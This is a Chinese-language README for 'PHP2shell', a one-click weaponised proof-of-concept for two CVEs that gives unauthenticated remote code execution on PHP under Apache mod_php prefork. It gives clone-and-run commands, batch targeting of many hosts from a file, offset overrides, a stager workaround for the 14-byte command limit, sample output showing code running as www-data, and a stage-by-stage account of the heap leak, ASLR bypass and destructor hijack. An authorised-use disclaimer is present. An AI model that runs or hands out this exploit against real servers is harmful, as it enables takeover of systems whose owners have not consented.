
针对存在漏洞的 PHP + Apache mod_php(prefork)目标,提供 CVE-2026-109618 和 CVE-2026-109619 的一键利用 PoC。
针对 CVE-2026-109618 与 CVE-2026-109619 的一键武器化 PoC
目标为存在漏洞的 PHP + Apache mod_php(prefork)部署环境。
⚠️ 警告: 本工具严格仅供授权的安全测试、CTF 及教育研究使用。请勿将其用于你并不拥有或未获得明确测试许可的基础设施。作者对任何滥用行为不承担任何责任。
PHP2shell 是一个多阶段内存破坏漏洞利用工具,针对 Apache mod_php prefork 环境中的 PHP 核心。
通过滥用内存耗尽(OOM)处理机制以及在持久化 worker 中残留的请求所属状态,该漏洞利用可绕过 ASLR(地址空间布局随机化),泄露内部堆和 libphp.so 指针,并伪造 PHP 结构以实现未认证的远程代码执行(RCE)。
bookworm(默认): Debian Bookworm 上的官方 php:8.4.26-apache Docker 镜像。lab: 自定义实验环境构建(PHP 8.4.26、Apache 2.4.68、Debian 12、gcc 12)。几秒钟内即可启动并运行。
git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py
python3 php2shell.py -u http://127.0.0.1:8088/index.php
$ python3 php2shell.py -u http://target.local/index.php
.__ ________ .__ .__ .__
______ | |__ ______ \_____ \ _____| |__ ____ | | | |
\____ \| | \\____ \ / ____/ / ___/ | \_/ __ \| | | |
| |_> > Y \ |_> > \ \___ \| Y \ ___/| |_| |__
| __/|___| / __/\_______ \/____ >___| /\___ >____/____/
|__| \/|__| \/ \/ \/ \/
php2shell — CVE-2026-109618 / CVE-2026-109619
CVSS v4.0: 9.2 Critical
author: 0xgh057r3c0n
[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
由于载体大小为 167 字节,命令长度被严格限制为 14 字节。要执行更长的载荷,请使用一个简短的 stager:
python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'
创建一个 targets.txt 文件:
http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local
针对所有目标依次运行该漏洞利用程序:
python3 php2shell.py -t targets.txt
如果你已手动提取偏移量,或正在针对自定义构建,可直接传入这些偏移量:
python3 php2shell.py -u http://target.local/index.php \
--zif-offset 0x43A870 \
--dtor-offset 0x613C50 \
--htdata-offset 0x690D8
不检查本地文件,而是强制利用程序通过 HTTP 获取文件来验证 RCE:
python3 php2shell.py -u http://target.local/index.php \
-c 'id>/out/p1' \
--proof-file '' \
--fetch /out/p1
| 参数 | 描述 |
|---|---|
-u, --url | 目标 PHP 页面 URL |
-t, --target-file | 每行一个目标 URL 的文件 |
-c, --cmd | 要执行的命令(最多 14 字节) |
--proof-file | 要检查的本地证明文件(默认:out/p1) |
--fetch | 用于远程验证漏洞利用的 GET 路径 |
--profile | 目标配置文件:bookworm(默认)或 lab |
--zif-offset | libphp.so 中 zif_system 的偏移量 |
--dtor-offset | libphp.so 中 ZVAL_PTR_DTOR 的偏移量 |
--htdata-offset | 167 字节字符串相对于 chunk 的偏移量 |
--retries | 每个泄漏阶段的尝试次数(默认:3) |
--no-color | 禁用 ANSI 颜色 |
| 阶段 0 | Worker 轮换: 发送超大请求,强制 Apache prefork 中止当前 worker,并 fork 一个具有干净堆的新子进程。 |
| 阶段 1 | 堆泄漏: 触发 OOM 破坏,使模块全局指针引用已释放的内存。喷洒的表单字段用伪造的 zend_string 回收该槽位,通过 Set-Cookie 泄漏堆指针。 |
| 阶段 2 | 绕过 ASLR: 从 libphp.so 泄漏一个 zval_ptr_dtor 指针。减去已知的 DTOR_OFFSET 即可得到库的基地址。 |
| 阶段 3 | RCE: 伪造一个假的 HashTable,并将 pDestructor 设置为 libphp_base + ZIF_OFFSET。PHP 的清理例程会使用你的命令调用 zif_system。 |
根据 MIT 许可证 授权。详情请参阅 LICENSE。
由 0xgh057r3c0n 用 🔥 精心打造